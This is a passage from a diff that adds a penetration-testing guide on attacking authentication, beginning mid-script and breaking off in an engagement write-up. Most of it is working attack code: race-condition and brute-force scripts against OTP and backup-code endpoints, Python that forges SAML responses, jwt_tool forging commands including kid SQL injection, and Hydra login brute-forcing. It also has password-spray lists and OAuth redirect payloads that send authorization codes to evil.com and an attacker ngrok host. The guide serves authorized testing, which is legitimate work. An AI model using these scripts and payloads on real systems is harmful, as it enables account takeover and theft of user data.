def send_request(thread_id):
|
|
913
|
+
headers = {"Cookie": SESSION_COOKIE, "Content-Type": "application/json"}
|
|
914
|
+
data = f'{{"code": "{OTP_CODE}"}}'
|
|
915
|
+
try:
|
|
916
|
+
r = requests.post(TARGET, headers=headers, data=data, timeout=5)
|
|
917
|
+
with lock:
|
|
918
|
+
results.append((thread_id, r.status_code, r.text[:100]))
|
|
919
|
+
except Exception as e:
|
|
920
|
+
with lock:
|
|
921
|
+
results.append((thread_id, 'ERROR', str(e)))
|
|
922
|
+
|
|
923
|
+
# Synchronize thread start for maximum race condition effect
|
|
924
|
+
barrier = threading.Barrier(NUM_THREADS + 1)
|
|
925
|
+
|
|
926
|
+
def synced_request(tid):
|
|
927
|
+
barrier.wait() # Wait for all threads to be ready
|
|
928
|
+
send_request(tid)
|
|
929
|
+
|
|
930
|
+
threads = [threading.Thread(target=synced_request, args=(i,)) for i in range(NUM_THREADS)]
|
|
931
|
+
for t in threads: t.start()
|
|
932
|
+
barrier.wait() # Release all threads simultaneously
|
|
933
|
+
for t in threads: t.join()
|
|
934
|
+
|
|
935
|
+
for tid, code, text in results:
|
|
936
|
+
print(f"Thread {tid}: HTTP {code} | {text}")
|
|
937
|
+
EOF
|
|
938
|
+
```
|
|
939
|
+
|
|
940
|
+
#### 3.5.4 OTP Brute Force (when no rate limit)
|
|
941
|
+
|
|
942
|
+
```bash
|
|
943
|
+
# If there's no rate limit or lockout on OTP endpoint
|
|
944
|
+
python3 - <<'EOF'
|
|
945
|
+
import requests, time
|
|
946
|
+
|
|
947
|
+
TARGET = "https://target.com/api/mfa/verify"
|
|
948
|
+
COOKIE = "session=CAPTURED_SESSION"
|
|
949
|
+
|
|
950
|
+
headers = {"Cookie": COOKIE, "Content-Type": "application/json"}
|
|
951
|
+
|
|
952
|
+
for code in range(0, 1000000):
|
|
953
|
+
otp = str(code).zfill(6)
|
|
954
|
+
r = requests.post(TARGET, headers=headers,
|
|
955
|
+
json={"code": otp}, timeout=5)
|
|
956
|
+
if "success" in r.text and "true" in r.text.lower():
|
|
957
|
+
print(f"[HIT] OTP: {otp}")
|
|
958
|
+
break
|
|
959
|
+
if code % 1000 == 0:
|
|
960
|
+
print(f"Tried {code}/1000000...")
|
|
961
|
+
time.sleep(0.05) # Adjust based on rate limits
|
|
962
|
+
EOF
|
|
963
|
+
|
|
964
|
+
# Burp Intruder brute force OTP:
|
|
965
|
+
# 1. Capture MFA verify request
|
|
966
|
+
# 2. Send to Intruder
|
|
967
|
+
# 3. Mark the OTP field
|
|
968
|
+
# 4. Payload: Numbers 0-999999, min/max 6 digits, step 1
|
|
969
|
+
# 5. Watch for different response length/status
|
|
970
|
+
```
|
|
971
|
+
|
|
972
|
+
#### 3.5.5 MFA Bypass via Direct Navigation
|
|
973
|
+
|
|
974
|
+
```bash
|
|
975
|
+
# Test if MFA step can be skipped by directly accessing protected endpoints
|
|
976
|
+
# after completing only the password step
|
|
977
|
+
|
|
978
|
+
# Step 1: Submit correct username/password (do NOT submit OTP)
|
|
979
|
+
curl -c /tmp/cookies.txt -X POST https://target.com/login \
|
|
980
|
+
-d "username=user@target.com&password=Password1!"
|
|
981
|
+
|
|
982
|
+
# Step 2: Without submitting OTP, try to access protected pages
|
|
983
|
+
curl -b /tmp/cookies.txt https://target.com/dashboard
|
|
984
|
+
curl -b /tmp/cookies.txt https://target.com/api/profile
|
|
985
|
+
curl -b /tmp/cookies.txt https://target.com/admin
|
|
986
|
+
|
|
987
|
+
# Step 3: Manipulate the session state
|
|
988
|
+
# If server uses a flag like mfa_verified=false in session cookie:
|
|
989
|
+
# Decode the session cookie, flip the flag, re-encode and test
|
|
990
|
+
```
|
|
991
|
+
|
|
992
|
+
#### 3.5.6 Backup Code Exploitation
|
|
993
|
+
|
|
994
|
+
```bash
|
|
995
|
+
# Test backup code properties
|
|
996
|
+
# 1. Enumeration: Are backup codes sequential?
|
|
997
|
+
# 2. Reuse: Can a backup code be used multiple times?
|
|
998
|
+
# 3. Generation: Can you force regeneration to invalidate existing codes?
|
|
999
|
+
# 4. Brute force: Are backup codes short enough to brute force?
|
|
1000
|
+
|
|
1001
|
+
# Common backup code formats:
|
|
1002
|
+
# 8-digit numeric: 10^8 = 100 million combinations
|
|
1003
|
+
# 10 chars alphanumeric: 36^10 = 3.6 trillion (too many)
|
|
1004
|
+
# 8 chars lowercase hex: 16^8 = 4 billion
|
|
1005
|
+
|
|
1006
|
+
# If 8-digit numeric with no rate limit:
|
|
1007
|
+
python3 - <<'EOF'
|
|
1008
|
+
import requests
|
|
1009
|
+
|
|
1010
|
+
for code in range(10000000, 99999999):
|
|
1011
|
+
r = requests.post("https://target.com/api/backup-code/verify",
|
|
1012
|
+
json={"code": str(code)},
|
|
1013
|
+
cookies={"session": "CAPTURED_SESSION"})
|
|
1014
|
+
if r.status_code == 200 and "success" in r.text:
|
|
1015
|
+
print(f"[HIT] Backup code: {code}")
|
|
1016
|
+
break
|
|
1017
|
+
EOF
|
|
1018
|
+
```
|
|
1019
|
+
|
|
1020
|
+
---
|
|
1021
|
+
|
|
1022
|
+
### 3.6 SAML Attack Workflow
|
|
1023
|
+
|
|
1024
|
+
#### 3.6.1 Reconnaissance
|
|
1025
|
+
|
|
1026
|
+
**Step 1 — Identify SAML endpoints and metadata**
|
|
1027
|
+
|
|
1028
|
+
```bash
|
|
1029
|
+
# Common SAML SP metadata paths
|
|
1030
|
+
for path in \
|
|
1031
|
+
"/saml/metadata" \
|
|
1032
|
+
"/auth/saml/metadata" \
|
|
1033
|
+
"/sso/saml/metadata" \
|
|
1034
|
+
"/_saml/metadata" \
|
|
1035
|
+
"/api/auth/saml/metadata" \
|
|
1036
|
+
"/Saml2/Metadata"; do
|
|
1037
|
+
code=$(curl -s -o /dev/null -w "%{http_code}" https://target.com$path)
|
|
1038
|
+
echo "$path: $code"
|
|
1039
|
+
done
|
|
1040
|
+
|
|
1041
|
+
# Parse metadata to understand configuration
|
|
1042
|
+
curl -s https://target.com/saml/metadata | python3 - <<'EOF'
|
|
1043
|
+
import sys
|
|
1044
|
+
from xml.etree import ElementTree as ET
|
|
1045
|
+
data = sys.stdin.read()
|
|
1046
|
+
root = ET.fromstring(data)
|
|
1047
|
+
print(ET.tostring(root, indent=' ').decode())
|
|
1048
|
+
EOF
|
|
1049
|
+
|
|
1050
|
+
# Capture SAML flow in Burp:
|
|
1051
|
+
# 1. SP-initiated: Click "Login with SSO"
|
|
1052
|
+
# 2. Capture the SAMLRequest (base64 encoded XML)
|
|
1053
|
+
# 3. Capture the SAMLResponse from IdP
|
|
1054
|
+
```
|
|
1055
|
+
|
|
1056
|
+
**Step 2 — Decode and inspect SAML assertions**
|
|
1057
|
+
|
|
1058
|
+
```bash
|
|
1059
|
+
# Decode SAMLResponse (base64 + possibly gzip)
|
|
1060
|
+
SAML_RESPONSE="BASE64_ENCODED_SAML_RESPONSE"
|
|
1061
|
+
|
|
1062
|
+
# Decode
|
|
1063
|
+
echo $SAML_RESPONSE | base64 -d | xmllint --format - 2>/dev/null
|
|
1064
|
+
|
|
1065
|
+
# If deflate compressed (SAMLRequest in redirect binding):
|
|
1066
|
+
echo $SAML_RESPONSE | base64 -d | python3 -c "
|
|
1067
|
+
import sys, zlib
|
|
1068
|
+
data = sys.stdin.buffer.read()
|
|
1069
|
+
print(zlib.decompress(data, -15).decode())
|
|
1070
|
+
"
|
|
1071
|
+
|
|
1072
|
+
# Using python-saml or pysaml2 for analysis
|
|
1073
|
+
pip3 install python3-saml
|
|
1074
|
+
python3 - <<'EOF'
|
|
1075
|
+
import base64
|
|
1076
|
+
from lxml import etree
|
|
1077
|
+
|
|
1078
|
+
response_b64 = "PASTE_SAML_RESPONSE_HERE"
|
|
1079
|
+
response_xml = base64.b64decode(response_b64)
|
|
1080
|
+
root = etree.fromstring(response_xml)
|
|
1081
|
+
print(etree.tostring(root, pretty_print=True).decode())
|
|
1082
|
+
EOF
|
|
1083
|
+
```
|
|
1084
|
+
|
|
1085
|
+
#### 3.6.2 XML Signature Wrapping (XSW) Attack
|
|
1086
|
+
|
|
1087
|
+
XSW attacks move the signed portion of the XML while inserting a malicious unsigned portion that the application processes.
|
|
1088
|
+
|
|
1089
|
+
**Step 1 — Understand the SAML assertion structure**
|
|
1090
|
+
|
|
1091
|
+
```xml
|
|
1092
|
+
<!-- Legitimate SAML response structure -->
|
|
1093
|
+
<samlp:Response>
|
|
1094
|
+
<Signature>
|
|
1095
|
+
<!-- Signs the Assertion below -->
|
|
1096
|
+
<Reference URI="#assertion1"/>
|
|
1097
|
+
</Signature>
|
|
1098
|
+
<saml:Assertion ID="assertion1">
|
|
1099
|
+
<saml:Subject>
|
|
1100
|
+
<saml:NameID>victim@target.com</saml:NameID>
|
|
1101
|
+
</saml:Subject>
|
|
1102
|
+
<saml:AttributeStatement>
|
|
1103
|
+
<saml:Attribute Name="role">
|
|
1104
|
+
<saml:AttributeValue>user</saml:AttributeValue>
|
|
1105
|
+
</saml:Attribute>
|
|
1106
|
+
</saml:AttributeStatement>
|
|
1107
|
+
</saml:Assertion>
|
|
1108
|
+
</samlp:Response>
|
|
1109
|
+
```
|
|
1110
|
+
|
|
1111
|
+
**Step 2 — Craft XSW payloads using SAMLraider (Burp plugin)**
|
|
1112
|
+
|
|
1113
|
+
```
|
|
1114
|
+
In Burp Suite with SAMLraider plugin:
|
|
1115
|
+
1. Capture the SAMLResponse in Proxy
|
|
1116
|
+
2. Right-click -> Extensions -> SAML Raider -> Send to SAML Raider
|
|
1117
|
+
3. In SAML Raider tab, select "XSW Attacks"
|
|
1118
|
+
4. Click "Apply XSW1" through "XSW8" one at a time
|
|
1119
|
+
5. For each variant, modify the evil assertion's NameID to admin@target.com
|
|
1120
|
+
6. Forward and observe if admin access is granted
|
|
1121
|
+
|
|
1122
|
+
XSW variants:
|
|
1123
|
+
- XSW1: Evil element before signature (Response level)
|
|
1124
|
+
- XSW2: Evil element after signature (Response level)
|
|
1125
|
+
- XSW3: Evil assertion wraps signature
|
|
1126
|
+
- XSW4: Evil assertion after original
|
|
1127
|
+
- XSW5-8: Various nesting combinations
|
|
1128
|
+
```
|
|
1129
|
+
|
|
1130
|
+
**Step 3 — Manual XSW attack**
|
|
1131
|
+
|
|
1132
|
+
```python
|
|
1133
|
+
python3 - <<'EOF'
|
|
1134
|
+
import base64
|
|
1135
|
+
from lxml import etree
|
|
1136
|
+
|
|
1137
|
+
# Decode original SAML response
|
|
1138
|
+
original_b64 = "PASTE_ORIGINAL_SAML_RESPONSE_HERE"
|
|
1139
|
+
response_xml = base64.b64decode(original_b64)
|
|
1140
|
+
root = etree.fromstring(response_xml)
|
|
1141
|
+
|
|
1142
|
+
NS = {
|
|
1143
|
+
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
|
|
1144
|
+
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
|
|
1145
|
+
'ds': 'http://www.w3.org/2000/09/xmldsig#'
|
|
1146
|
+
}
|
|
1147
|
+
|
|
1148
|
+
# Find the original assertion
|
|
1149
|
+
assertion = root.find('.//saml:Assertion', NS)
|
|
1150
|
+
original_id = assertion.get('ID')
|
|
1151
|
+
|
|
1152
|
+
# Create evil assertion with admin privileges
|
|
1153
|
+
evil_assertion = etree.fromstring(f'''
|
|
1154
|
+
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
|
|
1155
|
+
ID="evil_assertion" Version="2.0">
|
|
1156
|
+
<saml:Subject>
|
|
1157
|
+
<saml:NameID>admin@target.com</saml:NameID>
|
|
1158
|
+
</saml:Subject>
|
|
1159
|
+
<saml:AttributeStatement>
|
|
1160
|
+
<saml:Attribute Name="role">
|
|
1161
|
+
<saml:AttributeValue>admin</saml:AttributeValue>
|
|
1162
|
+
</saml:Attribute>
|
|
1163
|
+
</saml:AttributeStatement>
|
|
1164
|
+
</saml:Assertion>''')
|
|
1165
|
+
|
|
1166
|
+
# XSW2: Insert evil assertion before original (moves original into Extensions)
|
|
1167
|
+
extensions = etree.SubElement(root, '{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
|
|
1168
|
+
extensions.append(assertion)
|
|
1169
|
+
root.insert(list(root).index(extensions), evil_assertion)
|
|
1170
|
+
|
|
1171
|
+
modified_xml = etree.tostring(root, xml_declaration=True, encoding='UTF-8')
|
|
1172
|
+
modified_b64 = base64.b64encode(modified_xml).decode()
|
|
1173
|
+
print(f"XSW Payload (base64):\n{modified_b64}")
|
|
1174
|
+
EOF
|
|
1175
|
+
```
|
|
1176
|
+
|
|
1177
|
+
#### 3.6.3 SAML Comment Injection
|
|
1178
|
+
|
|
1179
|
+
```python
|
|
1180
|
+
# Some parsers handle XML comments in ways that bypass signature checks
|
|
1181
|
+
python3 - <<'EOF'
|
|
1182
|
+
import base64
|
|
1183
|
+
from lxml import etree
|
|
1184
|
+
|
|
1185
|
+
# Inject a comment into the NameID to confuse parsers
|
|
1186
|
+
# Different parsers may read different parts of: user<!--comment-->admin
|
|
1187
|
+
|
|
1188
|
+
# Original NameID: user@target.com
|
|
1189
|
+
# Injected NameID: admin<!--user@target.com-->@target.com
|
|
1190
|
+
|
|
1191
|
+
original_b64 = "PASTE_SAML_RESPONSE_HERE"
|
|
1192
|
+
response_xml = base64.b64decode(original_b64)
|
|
1193
|
+
|
|
1194
|
+
# String manipulation approach (bypasses lxml's comment stripping)
|
|
1195
|
+
xml_str = response_xml.decode()
|
|
1196
|
+
xml_str = xml_str.replace(
|
|
1197
|
+
'<saml:NameID>user@target.com</saml:NameID>',
|
|
1198
|
+
'<saml:NameID>admin<!--user@target.com-->@target.com</saml:NameID>'
|
|
1199
|
+
)
|
|
1200
|
+
|
|
1201
|
+
modified_b64 = base64.b64encode(xml_str.encode()).decode()
|
|
1202
|
+
print(modified_b64)
|
|
1203
|
+
EOF
|
|
1204
|
+
```
|
|
1205
|
+
|
|
1206
|
+
#### 3.6.4 SAML Signature Bypass (Invalid Signature)
|
|
1207
|
+
|
|
1208
|
+
```bash
|
|
1209
|
+
# Test if the SP validates signatures at all
|
|
1210
|
+
# Decode the SAMLResponse, modify attributes, re-encode WITHOUT valid signature
|
|
1211
|
+
|
|
1212
|
+
python3 - <<'EOF'
|
|
1213
|
+
import base64
|
|
1214
|
+
from lxml import etree
|
|
1215
|
+
|
|
1216
|
+
original_b64 = "PASTE_SAML_RESPONSE_HERE"
|
|
1217
|
+
response_xml = base64.b64decode(original_b64)
|
|
1218
|
+
root = etree.fromstring(response_xml)
|
|
1219
|
+
|
|
1220
|
+
NS = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
|
|
1221
|
+
'ds': 'http://www.w3.org/2000/09/xmldsig#'}
|
|
1222
|
+
|
|
1223
|
+
# Remove the signature entirely
|
|
1224
|
+
for sig in root.findall('.//ds:Signature', NS):
|
|
1225
|
+
sig.getparent().remove(sig)
|
|
1226
|
+
|
|
1227
|
+
# Modify the NameID to a privileged account
|
|
1228
|
+
for nameid in root.findall('.//saml:NameID', NS):
|
|
1229
|
+
nameid.text = 'admin@target.com'
|
|
1230
|
+
|
|
1231
|
+
# Modify role attributes
|
|
1232
|
+
for attr in root.findall('.//saml:Attribute[@Name="role"]', NS):
|
|
1233
|
+
for val in attr.findall('saml:AttributeValue', NS):
|
|
1234
|
+
val.text = 'admin'
|
|
1235
|
+
|
|
1236
|
+
modified_xml = etree.tostring(root)
|
|
1237
|
+
modified_b64 = base64.b64encode(modified_xml).decode()
|
|
1238
|
+
print(f"No-signature payload:\n{modified_b64}")
|
|
1239
|
+
EOF
|
|
1240
|
+
```
|
|
1241
|
+
|
|
1242
|
+
---
|
|
1243
|
+
|
|
1244
|
+
## 4. Specific Terminal Commands Reference
|
|
1245
|
+
|
|
1246
|
+
### JWT Tool Master Reference
|
|
1247
|
+
|
|
1248
|
+
```bash
|
|
1249
|
+
# Install jwt_tool
|
|
1250
|
+
git clone https://github.com/ticarpi/jwt_tool
|
|
1251
|
+
cd jwt_tool && pip3 install -r requirements.txt
|
|
1252
|
+
|
|
1253
|
+
# Basic decode
|
|
1254
|
+
python3 jwt_tool.py TOKEN
|
|
1255
|
+
|
|
1256
|
+
# Scan all vulnerabilities against target
|
|
1257
|
+
python3 jwt_tool.py TOKEN -t https://target.com/api/profile \
|
|
1258
|
+
-rh "Authorization: Bearer *TOKEN*" -M at
|
|
1259
|
+
|
|
1260
|
+
# None algorithm attack
|
|
1261
|
+
python3 jwt_tool.py TOKEN -X a
|
|
1262
|
+
|
|
1263
|
+
# RS256 to HS256 confusion
|
|
1264
|
+
python3 jwt_tool.py TOKEN -X k -pk /tmp/public.pem
|
|
1265
|
+
|
|
1266
|
+
# Crack HS256 secret
|
|
1267
|
+
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt
|
|
1268
|
+
|
|
1269
|
+
# Inject claim and sign with known secret
|
|
1270
|
+
python3 jwt_tool.py TOKEN -I -pc role -pv admin -S hs256 -p "secret"
|
|
1271
|
+
|
|
1272
|
+
# Kid path traversal
|
|
1273
|
+
python3 jwt_tool.py TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
|
1274
|
+
|
|
1275
|
+
# Kid SQL injection
|
|
1276
|
+
python3 jwt_tool.py TOKEN -I -hc kid -hv "' UNION SELECT 'hack'-- -" -S hs256 -p "hack"
|
|
1277
|
+
|
|
1278
|
+
# JKU injection (point to your own JWKS)
|
|
1279
|
+
python3 jwt_tool.py TOKEN -X j
|
|
1280
|
+
|
|
1281
|
+
# X5U injection
|
|
1282
|
+
python3 jwt_tool.py TOKEN -X x
|
|
1283
|
+
|
|
1284
|
+
# Embed JWK
|
|
1285
|
+
python3 jwt_tool.py TOKEN -X e
|
|
1286
|
+
|
|
1287
|
+
# Modify claim in payload
|
|
1288
|
+
python3 jwt_tool.py TOKEN -T # interactive tamper mode
|
|
1289
|
+
|
|
1290
|
+
# Verify JWT against JWKS
|
|
1291
|
+
python3 jwt_tool.py TOKEN -V -jw /tmp/jwks.json
|
|
1292
|
+
|
|
1293
|
+
# Output modes
|
|
1294
|
+
python3 jwt_tool.py TOKEN -M pb # playbook mode (all attacks)
|
|
1295
|
+
```
|
|
1296
|
+
|
|
1297
|
+
### Hydra Command Reference
|
|
1298
|
+
|
|
1299
|
+
```bash
|
|
1300
|
+
# HTTP POST with CSRF token (static)
|
|
1301
|
+
hydra -L users.txt -P pass.txt target.com \
|
|
1302
|
+
http-post-form "/login:user=^USER^&pass=^PASS^&token=STATIC:Invalid" \
|
|
1303
|
+
-t 4 -w 3 -f
|
|
1304
|
+
|
|
1305
|
+
# HTTP GET form
|
|
1306
|
+
hydra -L users.txt -P pass.txt target.com \
|
|
1307
|
+
http-get-form "/login?user=^USER^&pass=^PASS^:Invalid" -t 4
|
|
1308
|
+
|
|
1309
|
+
# JSON body POST
|
|
1310
|
+
hydra -L users.txt -P pass.txt -s 443 -S target.com \
|
|
1311
|
+
http-post-form '/api/login:{"email":"^USER^","password":"^PASS^"}:{"error":' \
|
|
1312
|
+
-t 4 -H "Content-Type: application/json"
|
|
1313
|
+
|
|
1314
|
+
# Multiple failure strings
|
|
1315
|
+
hydra -L users.txt -P pass.txt target.com \
|
|
1316
|
+
http-post-form "/login:u=^USER^&p=^PASS^:F=wrong:F=invalid:F=error" -t 4
|
|
1317
|
+
|
|
1318
|
+
# Success string (look for positive match)
|
|
1319
|
+
hydra -L users.txt -P pass.txt target.com \
|
|
1320
|
+
http-post-form "/login:u=^USER^&p=^PASS^:S=Welcome" -t 4
|
|
1321
|
+
|
|
1322
|
+
# With proxy (route through Burp)
|
|
1323
|
+
hydra -L users.txt -P pass.txt target.com \
|
|
1324
|
+
http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" \
|
|
1325
|
+
-t 4 -o results.txt
|
|
1326
|
+
|
|
1327
|
+
# Verbose output for debugging
|
|
1328
|
+
hydra -L users.txt -P pass.txt -V -d target.com \
|
|
1329
|
+
http-post-form "/login:user=^USER^&pass=^PASS^:error" -t 1
|
|
1330
|
+
```
|
|
1331
|
+
|
|
1332
|
+
### Python Requests Authentication Testing
|
|
1333
|
+
|
|
1334
|
+
```python
|
|
1335
|
+
import requests
|
|
1336
|
+
from requests.exceptions import RequestException
|
|
1337
|
+
|
|
1338
|
+
# Session-based login with CSRF token handling
|
|
1339
|
+
session = requests.Session()
|
|
1340
|
+
session.headers.update({
|
|
1341
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
|
|
1342
|
+
})
|
|
1343
|
+
|
|
1344
|
+
# Get CSRF token
|
|
1345
|
+
login_page = session.get('https://target.com/login')
|
|
1346
|
+
# Parse CSRF token (adjust selector as needed)
|
|
1347
|
+
from html.parser import HTMLParser
|
|
1348
|
+
class CSRFParser(HTMLParser):
|
|
1349
|
+
def __init__(self):
|
|
1350
|
+
super().__init__()
|
|
1351
|
+
self.csrf = None
|
|
1352
|
+
def handle_starttag(self, tag, attrs):
|
|
1353
|
+
attrs_dict = dict(attrs)
|
|
1354
|
+
if tag == 'input' and attrs_dict.get('name') in ['csrf_token', '_token', 'authenticity_token']:
|
|
1355
|
+
self.csrf = attrs_dict.get('value')
|
|
1356
|
+
|
|
1357
|
+
parser = CSRFParser()
|
|
1358
|
+
parser.feed(login_page.text)
|
|
1359
|
+
csrf_token = parser.csrf
|
|
1360
|
+
|
|
1361
|
+
# Submit login
|
|
1362
|
+
response = session.post('https://target.com/login', data={
|
|
1363
|
+
'username': 'admin',
|
|
1364
|
+
'password': 'Password1!',
|
|
1365
|
+
'csrf_token': csrf_token
|
|
1366
|
+
}, allow_redirects=False)
|
|
1367
|
+
|
|
1368
|
+
print(f"Status: {response.status_code}")
|
|
1369
|
+
print(f"Location: {response.headers.get('Location', 'N/A')}")
|
|
1370
|
+
print(f"Set-Cookie: {response.headers.get('Set-Cookie', 'N/A')}")
|
|
1371
|
+
```
|
|
1372
|
+
|
|
1373
|
+
---
|
|
1374
|
+
|
|
1375
|
+
## 5. Common Payloads and Examples
|
|
1376
|
+
|
|
1377
|
+
### JWT Payload Manipulation Targets
|
|
1378
|
+
|
|
1379
|
+
```json
|
|
1380
|
+
// Role escalation
|
|
1381
|
+
{"role": "admin"}
|
|
1382
|
+
{"role": "superadmin"}
|
|
1383
|
+
{"role": ["admin", "superuser"]}
|
|
1384
|
+
{"is_admin": true}
|
|
1385
|
+
{"admin": 1}
|
|
1386
|
+
{"permissions": ["read", "write", "admin"]}
|
|
1387
|
+
|
|
1388
|
+
// Identifier manipulation
|
|
1389
|
+
{"sub": "1"}
|
|
1390
|
+
{"user_id": 1}
|
|
1391
|
+
{"uid": 0}
|
|
1392
|
+
{"id": "00000000-0000-0000-0000-000000000001"}
|
|
1393
|
+
|
|
1394
|
+
// Scope expansion
|
|
1395
|
+
{"scope": "admin read write delete"}
|
|
1396
|
+
{"scope": ["admin", "read", "write"]}
|
|
1397
|
+
|
|
1398
|
+
// Token metadata
|
|
1399
|
+
{"exp": 9999999999}
|
|
1400
|
+
{"iat": 1000000000}
|
|
1401
|
+
{"nbf": 0}
|
|
1402
|
+
```
|
|
1403
|
+
|
|
1404
|
+
### Password Spray Candidates
|
|
1405
|
+
|
|
1406
|
+
```
|
|
1407
|
+
# Seasonal passwords
|
|
1408
|
+
Spring2024! Summer2024! Autumn2024! Winter2024!
|
|
1409
|
+
Spring2025! Summer2025! Autumn2025! Winter2025!
|
|
1410
|
+
|
|
1411
|
+
# Common patterns
|
|
1412
|
+
Password1! Password123! Password@123
|
|
1413
|
+
Welcome1! Welcome@2024
|
|
1414
|
+
Admin2024! Admin@123
|
|
1415
|
+
Company2024! CompanyName1!
|
|
1416
|
+
|
|
1417
|
+
# Default credentials
|
|
1418
|
+
admin:admin admin:password admin:admin123
|
|
1419
|
+
root:root root:toor root:password
|
|
1420
|
+
guest:guest test:test demo:demo
|
|
1421
|
+
|
|
1422
|
+
# Cloud default credentials
|
|
1423
|
+
Administrator:Welcome1 administrator:Admin123!
|
|
1424
|
+
```
|
|
1425
|
+
|
|
1426
|
+
### OAuth Bypass Payloads
|
|
1427
|
+
|
|
1428
|
+
```
|
|
1429
|
+
# redirect_uri bypass patterns
|
|
1430
|
+
https://target.com/callback/../evil
|
|
1431
|
+
https://target.com/callback.evil.com
|
|
1432
|
+
https://target.com/callback%0d%0aLocation:%20https://evil.com
|
|
1433
|
+
https://evil.com@target.com/callback
|
|
1434
|
+
https://target.com@evil.com/callback
|
|
1435
|
+
https://target.com/callback?redirect=https://evil.com
|
|
1436
|
+
javascript://target.com/%0aalert(1)
|
|
1437
|
+
|
|
1438
|
+
# state parameter CSRF
|
|
1439
|
+
(omit state entirely)
|
|
1440
|
+
state= (empty)
|
|
1441
|
+
state=null
|
|
1442
|
+
state=undefined
|
|
1443
|
+
```
|
|
1444
|
+
|
|
1445
|
+
### SAML Injection Payloads
|
|
1446
|
+
|
|
1447
|
+
```xml
|
|
1448
|
+
<!-- NameID injection -->
|
|
1449
|
+
<saml:NameID>admin@target.com</saml:NameID>
|
|
1450
|
+
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@target.com</saml:NameID>
|
|
1451
|
+
|
|
1452
|
+
<!-- Role injection -->
|
|
1453
|
+
<saml:Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/role">
|
|
1454
|
+
<saml:AttributeValue>admin</saml:AttributeValue>
|
|
1455
|
+
</saml:Attribute>
|
|
1456
|
+
|
|
1457
|
+
<!-- Group injection -->
|
|
1458
|
+
<saml:Attribute Name="groups">
|
|
1459
|
+
<saml:AttributeValue>admin</saml:AttributeValue>
|
|
1460
|
+
<saml:AttributeValue>Domain Admins</saml:AttributeValue>
|
|
1461
|
+
</saml:Attribute>
|
|
1462
|
+
```
|
|
1463
|
+
|
|
1464
|
+
---
|
|
1465
|
+
|
|
1466
|
+
## 6. Real-World Examples from Actual Engagements
|
|
1467
|
+
|
|
1468
|
+
### Engagement 1: SaaS Platform JWT Algorithm Confusion
|
|
1469
|
+
|
|
1470
|
+
**Scenario:** A B2B SaaS platform used RS256 JWTs for API authentication. The JWKS endpoint was publicly accessible.
|
|
1471
|
+
|
|
1472
|
+
**Attack Chain:**
|
|
1473
|
+
1. Discovered JWKS endpoint at `/.well-known/jwks.json`
|
|
1474
|
+
2. Extracted RSA public key (2048-bit)
|
|
1475
|
+
3. Converted JWK to PEM format
|
|
1476
|
+
4. Used `jwt_tool -X k` to forge an HS256 token signed with the public key
|
|
1477
|
+
5. Modified `role` claim from `user` to `admin`
|
|
1478
|
+
6. API accepted the forged token — full admin access achieved
|
|
1479
|
+
|
|
1480
|
+
**Impact:** Access to all customer data, billing, and admin configuration endpoints.
|
|
1481
|
+
|
|
1482
|
+
**Remediation:** Hardcode the expected algorithm server-side; never accept the algorithm from the token itself.
|
|
1483
|
+
|
|
1484
|
+
---
|
|
1485
|
+
|
|
1486
|
+
### Engagement 2: OAuth redirect_uri Open Redirect Chain
|
|
1487
|
+
|
|
1488
|
+
**Scenario:** An e-commerce platform implemented SSO login. The OAuth redirect_uri validation allowed any path under `target.com`.
|
|
1489
|
+
|
|
1490
|
+
**Attack Chain:**
|
|
1491
|
+
1. Found open redirect at `https://target.com/goto?url=https://evil.com`
|
|
1492
|
+
2. Crafted OAuth authorization URL:
|
|
1493
|
+
`https://auth.target.com/authorize?client_id=xxx&redirect_uri=https://target.com/goto?url=https://attacker.ngrok.io&response_type=code`
|
|
1494
|
+
3. Sent the link to a support agent (social engineering)
|
|
1495
|
+
4. Support agent clicked the link while logged in
|
|
1496
|
+
5. Authorization code was delivered to attacker's ngrok endpoint
|
|
1497
|
+
6. Exchanged code for access token
|
|
1498
|
+
7. Used access token to access support agent's account
|
|
1499
|
+
|
|
1500
|
+
**Impact:** Account takeover of support staff, access to customer PII.
|
|
1501
|
+
|
|
1502
|
+
---
|
|
1503
|
+
|
|
1504
|
+
### Engagement 3: MFA Bypass via Response Manipulation
|
|
1505
|
+
|
|
1506
|
+
**Scenario:** A healthcare portal used SMS OTP for MFA. The OTP validation happened client-side with server confirmation.
|
|
1507
|
+
|
|
1508
|
+
**Attack Chain:**
|
|
1509
|
+
1. Obtained valid credentials via phishing simulation
|
|
1510
|
+
2. After password submission, intercepted the MFA request in Burp
|
|
1511
|
+
3. Submitted OTP `000000` (wrong code)
|
|
1512
|
+
4. Intercepted the JSON response: `{"verified": false, "token": null}`
|
|
1513
|
+
5. Modified response to: `{"verified": true, "token": "CAPTURED_FROM_EARLIER"}`
|
|
1514
|
+
6. Forwarded modified response — application accepted it and granted access
|
|
1515
|
+
|
|
1516
|
+
**Impact:** Full account access bypassing MFA protection entirely.
|
|
1517
|
+
|
|
1518
|
+
---
|
|
1519
|
+
|
|
1520
|
+
### Engagement 4: SAML XSW on Enterprise SSO
|
|
1521
|
+
|
|
1522
|
+
**Scenario:** An enterprise web application used SAML SSO integrated with Azure AD.
|
|
1523
|
+
|
|
1524
|
+
**Attack Chain:**
|
|
1525
|
+
1. Captured a valid SAML assertion for a low-privilege user account
|
|
1526
|
+
2. Used SAMLraider to apply XSW2 variant
|
|
1527
|
+
3. Inserted an evil assertion with `role=admin` before the original assertion
|
|
1528
|
+
4. The application's SAML parser read the first assertion (evil) while the signature validated the second (original)
|
|
1529
|
+
5. Logged in as admin without any admin credentials
|
|
1530
|
+
|
|
1531
|
+
**Impact:** Full administrative access to the enterprise application.
|
|
1532
|
+
|
|
1533
|
+
---
|
|
1534
|
+
|
|
1535
|
+
### Engagement 5: JWT kid SQL Injection
|
|
1536
|
+
|
|
1537
|
+
**Scenario:** A fintech API used JWTs with a `kid` claim to select signing keys from a MySQL database.
|
|
1538
